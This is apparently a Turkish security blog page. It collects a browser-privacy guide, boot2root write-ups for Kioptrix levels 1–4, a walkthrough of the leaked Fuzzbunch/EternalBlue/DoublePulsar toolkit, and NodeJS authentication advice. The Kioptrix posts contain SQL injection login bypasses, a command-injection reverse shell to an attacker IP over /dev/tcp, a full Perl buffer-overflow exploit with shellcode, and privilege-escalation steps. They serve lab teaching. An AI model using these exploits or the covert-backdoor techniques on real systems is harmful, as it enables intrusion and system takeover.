Blog

Bilgi Güvenliği Serisi #1: İzlenmeden İnternette Gezmek

Screen Shot 2017-09-19 at 21.27.52.png

Günümüzde sanal ortamda barındırılan kişisel verinin büyüklüğünü düşündüğümüzde, bu verilerin toplanıp kâr amaçlı satılma ihtimalini de göz ardı etmemek gerekir.

Bizi izleyen bu gözler nasıl çalışıyor?

İnternet ortamında bir siteyi ziyaret ettiğinizde çerezler, pixel tagleri ve web işaretçileri gibi üçüncü parti izleyiciler bilgisayarınızda tutulmaya başlıyor. Bu izleyiciler sizin internet aktivitelerinizi takip ederek hakkınızda bilgi topluyorlar. (örn. İlginizi çeken bir şeye baktıktan sonra sağda solda ilgili öğeyle alakalı çıkan Google reklamları)

Bazı web sayfalarının 50’den fazla ve farklı şirketlere ait üçüncü parti izleyicilere, bazılarının ise bir kaç taneye sahip olduğu bilinmekte. Bu izleyiciler siteye girenlerin nereden olduğunu ya da giren kişinin durumuna göre bazı fonksiyonlar gerçekleştirebildiği gibi, bilgilerinizi satmak ya da başka işler yapmak için de topluyor olabilir. Girdiğiniz sitenin çerezlerini kabul ettiğiniz anda bütün olasılıkları da kabul etmiş oluyorsunuz.

Peki bu şirketler sizi nasıl takip edebiliyor? Cihazınızın tarayıcı parmak izini çıkararak. Cihazınız hakkında elde ettikleri pek çok bilgiyi birleştirerek tarayıcı parmakizi elde eden üçüncü parti izleyiciler sizi başka bir sitede gördüklerinde bu şekilde tanıyorlar.

“Nerden tanıyacak beni o kadar insan içinde” diyorsanız eğer, https://amiunique.org adresinden önlem almadığınız taktirde ne kadar da takip edilebilir bir cihazınız olduğunu görebilirsiniz.

Ayrıca, girdiğiniz sitelerde sizi takip eden üçüncü gözleri kendiniz de görmek isterseniz firefox tarayıcılara yüklenebilen https://github.com/mozilla/lightbeam eklentisi ile merakınızı giderebilirsiniz.

Nasıl korunacağız?

Yukarıda anlattığım senaryolardan korunmak için anlatacağım seçenekler arasına internet deneyiminizi gözle görülür bir şekilde etkileyebilecek (JavaScript’leri kapatan NoScript eklentisi gibi) eklentileri eklemedim. Aşağıdaki eklentiler kişisel tercihlerim olmakla beraber, en az saydıklarım kadar etkili alternatifleri de mevcuttur.

uBlock Origin: AdBlock Plus belli bir ücret karşılığında bazı reklamları göstermeye başladığı günden bu yana reklam engellemek için kullandığım bu eklenti sizi izlemek için gösterilen reklamlardan ve sosyal medya butonlarından korunmanıza yardımcı olur.

GhosteryÜçüncü parti izleyicileri tespit eder ve bloklamanızı sağlar.

HTTPS EverywhereHTTPS destekleyen bütün sitelerde HTTPS şifrelemeyi aktif eder.

Click&CleanTarayıcı geçmişinizi hızlı ve kolay bir şekilde “dip bucak” temizlemenizi sağlar.

VPN servisleri: Paraya kıyıp bir VPN servisi almıyorsanız piyasadaki reklam gösteren ya da tamamen sahte olan VPN’lerden sakınmanızı Opera VPN kullanmanızı tavsiye ederim. Aynı zamanda iOS ve Android için VPN uygulaması da bulunmakta.

Arama Motoru: Aramalarınızı takip eden Google gibi bir arama motoru yerine DuckDuckGo gibi sizi takip etmeyen arama motorlarını tercih etmenizde de fayda var.

 

 

 

Boot2Root: Kioptrix Level 4

Keşif

Netdiscover bize makinanın IP adresini veriyor:

Screen Shot 2017-07-15 at 20.41.43.pngBulunan IP adresi üzerindeki servisleri tarıyoruz:

Screen Shot 2017-07-15 at 20.43.08.png

enum4linux bize sistem üzerindeki kullanıcıları veriyor:

Screen Shot 2017-07-15 at 20.41.48.png

Zafiyet Analizi

Sunucuda çalışan servis versiyonlarından bir şey çıkmadı. Fakat ısrarla dediğim gibi; Bir yerde SQL varsa orada SQL injection da vardır.

Exploit

Web arayüzünde giriş ekranı bulunuyor. Burada biraz oynadıktan sonra john kullanıcısına parola olarak ” 1′ or ‘1’=’1 ” vererek giriş yapabiliyoruz ve kimlik bilgilerine ulaşıyoruz:Screen Shot 2017-07-15 at 20.41.55.png

SSH üzerinden john kullanıcısına bağlandığımızda kısıtlı bir shell ile karşılaşıyoruz. Elimizdeki imkanlarla “echo os.system(‘/bin/bash’);” komutuyla kısıtlı shellden çıkıyoruz.

“ps aux | grep root” komutuyla root yetkileriyle çalışan processlere ulaşıyoruz. MySQL root yetkileriyle çalışmakta.

root ile girmeyi denediğimizde root parolası olmadığını görüyoruz:

Screen Shot 2017-07-15 at 20.42.13.png

MySQL’de sys_exec çalıştırarak root olunabileceğini düşünerek lib_mysqludf_sys.so dosyasını makina üzerinde aratıyoruz:

Screen Shot 2017-07-15 at 20.42.18.png

Görüldüğü üzere ilgili dosya root yetkileriyle sistemde bulunmakta.

sys_exec kullanarak /bin/bash’i suid roota çeviriyoruz. Böylece bu dosyayı çalıştıran herkes, dosyanın sahibinin yetkileriyle (root) çalıştırıyor.:

Screen Shot 2017-07-15 at 20.42.29.png

MySQL’den çıkıp john ile “bash -p” komutuyla root shell elde ediyoruz:

Screen Shot 2017-07-15 at 20.42.43.png

Flag

Flag /root/congrats.txt’de bulunuyor. Root shellimiz ile okuyarak görevimizi tamamlıyoruz:

Screen Shot 2017-07-15 at 20.42.48.png

 

Boot2Root: Kioptrix Level 3

Keşif

Netdiscover bize makinanın IP adresini veriyor:

Screen Shot 2017-07-14 at 22.39.20.png

Bulunan IP adresi üzerindeki servisleri tarıyoruz:

Screen Shot 2017-07-14 at 22.39.26.png

Zafiyet Analizi

Sunucuda çalışan servis versiyonlarından bir şey çıkmadı. Fakat Level 2’de de dediğim gibi; Atalarımız demiş ki: Bir yerde SQL varsa orada SQL injection da vardır.

Exploit

Web arayüzünde fotoğraf galerisine rastlıyoruz. Burada biraz oynadıktan sonra “id” parametresinin SQL Injection zafiyeti barındırdığı görülüyor:

Screen Shot 2017-07-14 at 22.42.40.png

Screen Shot 2017-07-14 at 22.43.04.png

Buradan yola çıkılarak geliştirici kullanıcı adı ve hashleri alınıyor, hashlerin açık halleri de sözlük saldırısı ile elde ediliyor:

Screen Shot 2017-07-14 at 22.43.33.png

Screen Shot 2017-07-14 at 22.43.40.png

Screen Shot 2017-07-14 at 22.43.48.png

 

SSH üzerinden dreg kullanıcısına bağlandığımızda ve privilege escalation exploiti denemek için dosya indirdiğimizde görüyoruz ki dreg kısıtlı bir shelle sahip (privesc başarılı olmadı):

Screen Shot 2017-07-14 at 22.49.41.png

loneferret kullanıcısına geçtiğimizde normal bir shell içerisinde olduğumuzu görüyoruz. Sistem içerisinde gezerken ve zafiyet ararken loneferret’in HT Editor’u root olarak çalıştırabildiğini görüyoruz. Eğer HT Editor exploitlerini şu an deneyecek olursanız, sadece groupid bazında root yetkisine escalate edebildiğimizi de not etmekte fayda var:

Screen Shot 2017-07-14 at 22.51.01.png

HT Editor’ü açmak için enviroment değeri olarak “export TERM=xterm-color ” komutunu girmemiz gerekiyor. Daha sonra editörümüzü açıyoruz:

Screen Shot 2017-07-14 at 22.52.39.png

Editör içerisinde sırasıyla ALT+F > Open > /etc/sudoers yapıyoruz. loneferret kullanıcısınını bulduktan sonra /usr/local/bin/ht yanına /bin/bash ekliyor (virgüle dikkat) ve kaydedip kapatıyoruz. (ALT+F > save > CTRL+Z/C)

Bu işlemden sonra loneferret kullanıcısı artık root yetkisiyle /bin/bash komutunu çalıştırabiliyor. Deniyoruz:

Screen Shot 2017-07-14 at 22.56.00.png

Başarıyla konfigürasyon zafiyetini kullanarak root olmayı başardık.

Root olduktan sonra HT Editor zafiyetini denemek isterseniz; HT Editor Makefile dosyasından SSP’yi kapatmanız ve bu zafiyeti 5.8.8’de çalışır hale getirmeniz gerekiyor:

CFLAGS şu şekilde olmalı:

cat ht-2.0.18/Makefile | grep 'CFLAGS ='
CFLAGS = -DNOMACROS -pipe -O3 -fomit-frame-pointer -Wall -fsigned-char -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -fno-stack-protector -z execstack

5.8.8’de çalışan modifiyeli exploit kodu:

my ($esp, $retaddr);
my $scz =       [       "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e" .
                                "\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8" .
                                "\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67" .
                                "\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30" .
                                "\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4" .
                                "\x53\x52\x54\x8a\xe2\xce\x81",
                                "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b" .
                                "\x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53" .
                                "\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff" .
                                "/bin/sh"       ];

print "[*]Looking for \$esp and endwin()...\n";

my $namez = [qw#/usr/local/bin/ht#];

my $infos = get_infos(qx{uname});
my $name = $infos->[0];


print "[+]endwin() address found! (0x", $infos->[3],")\n";

for my $line(qx{objdump -D $name | grep "ff e4"}) {
        $esp = "0" . $1, last if ($line =~ m{([a-f0-9]{7}).+jmp\s{4}\*%esp});
}

print "[+]\$esp place found! (0x", $esp, ")\012Now exploiting...\n";

my @payload = ($infos->[0], ("A" x ($infos->[1] - length(qx{pwd}))) . reverse(pack('H*', $infos->[3])) . reverse(pack('H*', $esp)) . $infos->[2]);
exec(@payload);

sub get_infos {
        if($_[0] =~ /Linux/){
                return([$namez->[0], 4108, $scz->[0], getendwin("linux")]);
        }
        elsif($_[0] =~ /FreeBSD/){
                return([$namez->[1], 271, $scz->[1], getendwin("freebsd")]);
        }
        #Possibility to add friends^^
}

sub getendwin {
        if($_[0] =~ /linux/){
                my $n = $namez->[0];
                for (qx{objdump -d $n | grep endwin}){
                        $retaddr = $1, last if ($_ =~ m{(.*) <});
                }
                return($retaddr);
        }
        elsif($_[0] =~ /freebsd/){
                return("282c2990");
        }
}

Flag

Flag /root/Congrats.txt içerisinde bulunuyor. Privilege escalationdan sonra başarıyla okuyabiliyoruz:

Screen Shot 2017-07-14 at 23.06.43.png

Boot2Root: Kioptrix Level 2

Keşif

Netdiscover bize makinanın IP adresini veriyor:

Screen Shot 2017-07-13 at 19.24.07.png

Bulunan IP adresi üzerindeki servisleri tarıyoruz:

nmap.png

Zafiyet Analizi

  • Sunucu üzerinde Apache 2.0.52 ve MySQL çalışıyor. Web arayüzü de bulunmakta.
  • CUPS 1.1 bir kaç zafiyet içeriyor fakat sunucu üzerinde denendiğinde bir sonuç elde edilemedi.

Atalarımız demiş ki: Bir yerde SQL varsa orada SQL injection da vardır.

Exploit

Web arayüzünde bizi login ekranı karşılıyor.  ” ‘ or 1=1 — ” girdisi ile login bypass edilerek yönetici paneline giriyoruz:

sqli.png

 

Bizi ağda cihaz pingleme adında bir sayfa karşılıyor. Ping atmak için alınan girdinin kontrolünün yapılmama ihtimalini göz önünde bulundurarak “; id” girdisi verildiğinde kullanıcı girdilerinin kontrol edilmediği ve kodun zafiyet içerdiği görülüyor.

cmdi.png

cmdiproof.png

Sunucu üzerinde interaktif olmayan ve apache yetkileri bulunan bir shell sahibiyiz. Yapmamız gereken ilk şey interaktif bir shell elde etmek. Sonra ise root yetkisi kazanmak.

İnteraktif bir shell elde etmek için önce kendi terminalimizde “nc -nlvp 4444” ile karşıdan atılan shell’i tutmaya hazırlanıyoruz. Daha sonra web arayüzünde girdi olarak verilen “; python -c ‘import pty;pty.spawn(“/bin/sh”)’ >& /dev/tcp/172.16.28.130/4444 0>&1″ komutu bize yakışıklı bir shell veriyor.

Screen Shot 2017-07-13 at 19.51.25.png

 

index.php dosyasının içine baktığımızda bir adet MySQL kimlik bilgisi görüyoruz:

Screen Shot 2017-07-13 at 19.58.39.png

Bulduğumuz bilgileri kullanarak MySQL’e bağlanıyoruz ve webapp veritabanı içerisinde root parolasının hashine ulaşıyoruz:

Screen Shot 2017-07-13 at 20.02.27.png

Privilege Escalation için Linux Kernel 2.6.9 exploit arattığımızda karşımıza pek çok exploit çıkıyor:

Screen Shot 2017-07-13 at 20.34.50.png

Ben bunu kullandım: https://www.exploit-db.com/exploits/9545/

Karşı sunucuya wget yardımıyla exploit kodunu /tmp içerisine attıktan sonra compile edip çalıştırıyoruz ve root oluyoruz:

Screen Shot 2017-07-13 at 20.40.01.png

Başarıyla veritabanı kullanıcılarını ele geçirip ve root olmayı başardık.

 

Boot2Root: Kioptrix Level 1

Keşif

Netdiscover bize makinanın IP adresini veriyor:

Screen Shot 2017-07-12 at 20.57.42.png

Bulunan IP adresi üzerindeki servisleri tarıyoruz:

nmap.pngLinux bir cihazda samba açık ise, enum4linux yapmazsak olmaz:

Screen Shot 2017-07-12 at 20.59.50.png

Zafiyet Analizi

Keşif safhasında bulduğumuz servis versiyonlarını inceliyoruz;

  • OpenSSH üzerinden makinaya girebileceğimiz bir exploit bulunmuyor.
  • Apache 1.3.20 ve mod_ssl 2.8.4 için OpenFuck exploiti bulunuyor.
  • Samba 2.2.1 için pek çok exploit bulunuyor.

Exploit

1. Apache üzerinden Exploit

OpenFuckV2.c exploit kodunu compile etmeye çalıştığımızda bir çok hata alıyoruz.

Screen Shot 2017-07-12 at 21.09.47.png

Hataların sebepleri ve çözümleri;

  • OpenSSL RC4 ve MD5 headerlarının olmayışı
    • #include <openssl/rc4.h>
    • #include <openssl/md5.h>
  • wget ile alınan URL’in değişmiş olması
    • Yeni URL: http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
  • libssl-dev olmaması
    • apt-get install libssl1.0-dev
  • const unsigned char yerine unsigned char kullanımı
    • Hatalı satırın “const unsigned char *p, *end;” şeklinde düzeltilmesi

Yukarıdaki hataların halledilmesinden sonra kodumuzu

“gcc -o openfuck.c openfuckv2.c -lcrypto” komutu ile compile ediyoruz ve

“./openfuck.c 0x06a <IP> -c 40” komutu ile çalıştırıyoruz:

[+] Attached to 1418
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root

Exploiti çalıştırırken seçtiğimiz 0x06a RedHat Linux 7.2 (apache-1.3.20-16)1 anlamına gelmektedir. Exploiti komut vermeden çalıştırdığınızda gelen çıktıda detaylı bilgileri bulabilirsiniz.

2. Samba üzerinden Exploit

Samba 2.2.1a için kullanabileceğiniz pek çok exploit bulunuyor, ayrıca MSF modülü de var. Ben bunu kullanacağım: https://www.exploit-db.com/exploits/10/

Screen Shot 2017-07-12 at 21.52.15.png

Verilecek opsiyonlar için exploiti parametresiz çalıştırıp detaylı bilgilere ulaşabilirsiniz.

Flag Nerede?

Flag’in EMail olduğu vulnhub sayfasında belirtilmiş. Kısa bir araştırma sonucunda /var/mail/ içerisinde bulunanlar aşağıdaki gibi:

Screen Shot 2017-07-12 at 21.59.31.png

root harici diğerleri boş. root’u açtığımızda flag’i bulmuş ve görevimizi tamamlamış oluyoruz:

Screen Shot 2017-07-12 at 22.00.20.png

 

 

Siber Silah ile Sızma Testleri

Bugün, sızdırıldığından bu yana Garnizon Bilgi Güvenliği olarak analiz ettiğimiz ve sızma testlerinde aktif olarak kullandığımız, NSA’in sızdırılan dökümanları içerisinde bulunan Fuzzbunch’dan bahsedeceğim.

WannaCry ve Petya gibi fidye yazılımlarının sızdırılan bazı zafiyetler üzerinden çalışması ve gündemi uzun süredir meşgul etmesinden dolayı aslında daha öncesi için planladığım bu yazıyı şimdi yazıyorum.

Windows işletim sisteminde kullanıcı etkileşimi gerektirmeyen ve SMB üzerinden erişim sağlandığı taktirde uzaktan kod çalıştırılabilen zafiyetleri istismar eden Fuzzbunch, kullandığı yöntemler ve içerdiği exploitler bakımından güvenlik sektörüne savunma ve saldırı anlamında büyük ilerlemeler kaydettirmiştir.

Ring0 üzerinden çalışan DoublePulsar arka kapısı, pek çok analist ve zararlı yazılım geliştiriciye kernel üzerinde kod çalıştırma konusunda farklı teknikler geliştirmeleri için ilham kaynağı olmuştur. (bu konuda verebileceğim örnek bir çalışma)

Sızdırılan aracı edinebileceğiniz kaynaklar:

Fark edeceğiniz üzere, sızdırılan belgeler içerisinde windows, swift ve oddjob adında üç adet klasör bulunmakta.

Windows klasörü içerisinde windows exploitlerini, implantlarını ve payloadlarını ve Fuzzbunch’ı barındırıyor. Sızma testleri için kullanılan kaynakları içeren klasör windows klasörü.

Fuzzbunch, metasploit gibi bir exploitation framework’ü olmakla beraber python dilinde yazılmıştır. 32-bit windows makinalarda çalışmak üzere tasarlanmıştır. İçerisinde bulunan exploitlere bakalım (README dosyasından alınmıştır);

  • EARLYSHOVEL RedHat 7.0 – 7.1 Sendmail 8.11.x exploiti
  • EBBISLAND (EBBSHAVE)  SPARC and x86 mimarilerindeki Solaris 6, 7, 8, 9 & 10 (ve muhtemelen yeni versiyonlarda da) RPC XDR overflow ile root yetkisiyle uzaktan kod çalıştırma.
  • ECHOWRECKER Samba 3.0.x Linux uzaktan kod çalıştırma.
  • EASYBEE MDaemon email sunucu zafiyeti
  • EASYFUN 9.5.6 öncesi WDaemon / IIS MDaemon/WorldClient için EasyFun 2.2.0 Exploiti
  • EASYPI IBM Lotus Notes exploiti (Stuxnet olarak tespit edilmiştir.)
  • EWOKFRENZY IBM Lotus Domino 6.5.4 & 7.0.2 exploiti
  • EXPLODINGCAN Arka kapı oluşturan IIS 6.0 exploiti
  • ETERNALROMANCE SMBv1 exploiti. (XP, 2003, Vista, 7, Windows 8, 2008 ve 2008 R2) İstismarı sonucunda SYSTEM yetkisi veriyor. (MS17-010)
  • EDUCATEDSCHOLAR SMB exploiti (MS09-050)
  • EMERALDTHREAD SMB exploiti (Windows XP ve Server 2003) (MS10-061)
  • EMPHASISMINE IBM Lotus Domino 6.6.4 ve 8.5.2 arası için IMAP exploiti
  • ENGLISHMANSDENTIST Outlook Exchange WebAccess kurallarını kullanıcı tarafında mail olarak çalıştırılabilir kod yollamak için değiştirir.
  • EPICHERO 0-day Avaya Call Server uzaktan kod çalıştırma.
  • ERRATICGOPHER SMBv1 exploiti (Windows XP ve Server 2003 için)
  • ETERNALSYNERGY SMBv3 uzaktan kod çalıştırma (Windows 8 ve Server 2012 SP0) (MS17-010)
  • ETERNALBLUE SMBv2 uzaktan kod çalıştırma (Windows 7 SP1) (MS17-010)
  • ETERNALCHAMPION SMBv1 uzaktan kod çalıştırma
  • ESKIMOROLL Kerberos exploiti (2000, 2003, 2008 and 2008 R2 domain controllerlar)
  • ESTEEMAUDIT RDP exploiti ve arka kapısı (Windows Server 2003)
  • ECLIPSEDWING Server servisi üzerinden uzaktan kod çalıştırma (Windows Server 2008 ve sonrası) (MS08-067)
  • ETRE IMail 8.10 ve 8.22 arası için exploit
  • ETCETERABLUE IMail 7.04 ve 8.05 arası için exploit
  • EXPIREDPAYCHECK IIS6 exploiti
  • EAGERLEVER NBT/SMB Windows NT4.0, 2000, XP SP1 & SP2, 2003 SP1 ve SP0 exploiti
  • EASYFUN WordClient / IIS6.0 exploiti
  • ESSAYKEYNOTE
  • EVADEFRED
  • ODDJOB İstismar sonrası karşı sunucuya enjekte edilmek üzere implant üreten komuta kontrol sunucusu. Aynı zamanda Windows 2000 ve sonrası için exploit de çalıştırabiliyor.

Eternal ile başlayan exploit grubu Windows sunucuların yaygın kullanılması, MS17-010 güncelleştirmesi eksikliği ve SMBv1, SMBv2 ve SMBv3 için farklı şekilde exploit edilebilmelerinden dolayı sızma testlerinde iyi yapılan bir keşif ve zafiyet analiziyle beraber kullanıldığında çok güçlü olmakta ve iyi sonuçlar vermektedir.

Fuzzbunch’ı çalıştırdığımızda bizi karşılayan konsol ekranında biraz gezelim;

“help” komutu bize framework içerisinde kullanabileceğimiz komutları gösteriyor.

fbhelp

“use” komutu tanımında “plugin” olarak tanımlananlar, yukarıda listenemiş olduğum exploitlerdir. “use <tab>” ile kullanabileceğimiz pluginleri görebiliriz.

fbuse.png

İçerisinde “touch” geçen pluginler, karşı sistemi istismar amacıyla keşif yapmak amacıyla kullanılan modüllerdir. Bu modüllerin kullanımı sonucunda alınan çıktı ile karşı sunucunun hakkında bilgiler elde edilebiliyor.

Örnek olarak EternalBlue exploitini yamasız bir Windows 7 üzerinde deneyelim. Karşı sunucu ile alakalı ayarlamalar yapıldıktan sonra SMB üzerinden EternalBlue çalışıyor;

fbeternalblue.png

EternalBlue SrvOs2FeaToNt içerisindeki memmove üzerindeki bir buffer overflowu exploit etmektedir. Srv!SrvOs2FeaListSizeToNt içerisinde yapılan hesapta DWORD ile yapılan çıkarma işlemi sonucu WORD olarak alınmaktadır. DWORD ve WORD arasındaki farktan dolayı oluşan anomali, kernel’ın düzenli yapısı sebebiyle SMBv1 bufferına overflow ettirilebilmektedir. Pointer manipülasyonu ile üzerine yazılmış hafıza bloğunun adresinin verilmesiyle exploit gerçekleşir. Kernel’ın yapısı bu olayı normal olarak algılamakta ve bu yüzden exploit başarılı bir şekilde hiç bir engele takılmadan gerçekleşebilmektedir.

Overflow tamamlandıktan sonra, exploit kodunun bir parçası olarak DoublePulsar arka kapısı uzak sunucuya kurulur. DoublePulsar, SrvTransaction2DispatchTable içerisinde bulunan SrvTransactionNotImplemented() fonksiyon pointerını kendi hook fonksiyonu yaptığından dolayı exploitation sonrası iki adet olması gereken SrvTransactionNotImplemented handler sembolünün bir tanesi kaybolmakta.

doublepulsar.png

İstismar işleminden sonra, Fuzzbunch üzerinden DoublePulsar ile uzak sunucudaki arka kapımızın durumunu kontrol edebiliriz;

fbdoublepulsarping.png

Aynı zamanda, bu arka kapıyı kullanarak shellcode çalıştırabilir ya da DLL enjeksiyonu yapabiliriz.

Screen Shot 2017-07-04 at 16.50.59.png

Enjeksiyon sonrası uzak sunucuda SYSTEM yetkileri içeren bir oturuma sahip oluruz.

Arkada iz bırakmamak için DoublePulsar içerisinde uninstall opsiyonu da bulunmakta. Bu sayede uzak sunucuda enjeksiyon ve istismar sonrası tam bir temizlik yapılabilmekte.

Anlatılan bu senaryo, “opsec-safe” olarak yürütüldüğünde her hangi bir engele takılmadan karşı sunucu üzerinde hareket edebilmek mümkündür.

Böyle bir siber silah iyi bir sızma testi metodolojisi ve gizlilik ilkesiyle kullanıldığında, sızma testi yapılan kurumun gelecekte ortaya çıkabilecek potansiyel tehditlere mümkün olabildiğince hazır olmasını sağlar.

NodeJS üzerinde Kimlik Doğrulama Güvenliği

OWASP Top 10 içerisinde de bulunan yetersiz kimlik doğrulama açığının NodeJS üzerinde nasıl engellenebileceğine biraz bakalım.

Kimlik doğrulama üzerinden yapılabilecek potansiyel saldırılar şu şekilde:

  • Zayıf parola içeren kullanıcıları brute-force ile ele geçirme
  • Veritabanından parola çalınması
  • Parola yönetiminde bulunabilecek buglar (parola sıfırlama ya da kurtarma sayfaları)
  • Kullanıcıların tarayıcılarından ya da ağ üzerinden sessionID’lerinin çalınması

Uygulama geliştirirken yukarıdaki tehlikelere yönelik dikkat edeceğimiz noktaları şu şekilde sıralayabiliriz;

Brute-force ile Saldırılar

Zamanı ve kaynağı olan bir saldırganın yapabileceği saldırılardan birisidir.

Bu tip saldırılardan korunmak için parola güvenliğini sağlamanız gerekiyor. Yapabilecekleriniz:

  • Güçlü bir parola politikası
  • Giriş denemelerini IP ya da kullanıcı bazlı kısıtlama
  • Birden fazla başarısız deneme sonucunda kullanıcı hesabını kilitleme
  • Başarısız girişleri detaylı bir şekilde loglama ve logların düzenli olarak incelenmesi
  • Güvenli bir parola kurtarma politikası
    • Eski parolayı isteyin
    • Gizli soru cevabı isteyin
    • Parolamı unuttum gibi parola kurtarma opsiyonlarının mevcut parolayı karşı tarafa vermediğinden emin olun

Rainbow Tables ile Saldırılar

Rainbow table, önceden hashleri hesaplanmış parolalar içeren büyük bir sözlüktür. Saldırganlar çaldıkları hash değerlerinin açık hallerine rainbow table yardımıyla ulaşabilir.

Nasıl önleriz? Parolaları tuzlayarak

var bcrypt = require('bcrypt');
var _bcrypt = (__password) => new Promise((resolve, reject)=>{
 bcrypt.genSalt(12, function(err, salt) {
 bcrypt.hash(__password, salt, function(err, hash) {
 resolve(hash)
 });
 });
})
var _password = '/F4ZL4g-uv3nl1*B1rP4r0l4()'
_bcrypt(_password).then( 
 (result)=> console.log(result)
)

Burada kullanılan bcrypt.gensalt() fonksiyonu async bir fonksiyondur çünkü bcrypt ile yapılan hashleme işlemi CPU’ya yük bindiren bir işlemdir. Sync bir fonksiyon event loopu meşgul ederek uygulamanızın başka bir iş yapamamasına sebep olur. (bcrypt ile alakalı daha fazlasını şuradan okuyabilirsiniz)

Oturum Çalma

Kullanıcıların hatırlanması için kullanılan oturum ID’leri saldırganların hedefi olabilir.

Güvenli oturum yönetimi implementasyonu nasıl olmalı?

HTTP stateless olduğundan, HTTP istekleri sırasında kullanıcı verilerini bir şekilde tutmamız gerekiyor. Çerezler de burada devreye giriyor. Fakat; Cross-site scripting veya network snifferlar aracılığıyla çalınan oturum çerezleri ile kullanıcıların oturumu saldırganlar tarafından ele geçiriliyor.

NPM üzerindeki express-session modülü, bize güvenli bir oturum yönetimi sağlamakta. Oturum yönetimi için kullanabileceğimiz bazı ipuçları:

  • Oturum verilerini kullanıcı tarafında göstermeyin, çerezde sadece SID olsun
  • URL parametresi olarak oturumla alakalı her hangi bir şey bulunmasın
  • Production sunucularında oturum verisi saklamayın
  • httpOnly bayrağı ile çerezleri XSS tabanlı saldırılardan koruyun
  • secure bayrağı ile çerezleri sadece HTTPS üzerinden yollayın
  • Kullanıcı oturumunu kapattığında oturumun yok edildiğinden emin olun
var session = require('express-session');
app.use(session({
    resave: false,
    saveUninitialized: true,
    secret: 'COKSECRET',
    cookie: {
        httpOnly: true,
        secure: true,
        maxAge: 1 * 60 * 1000
    }
}));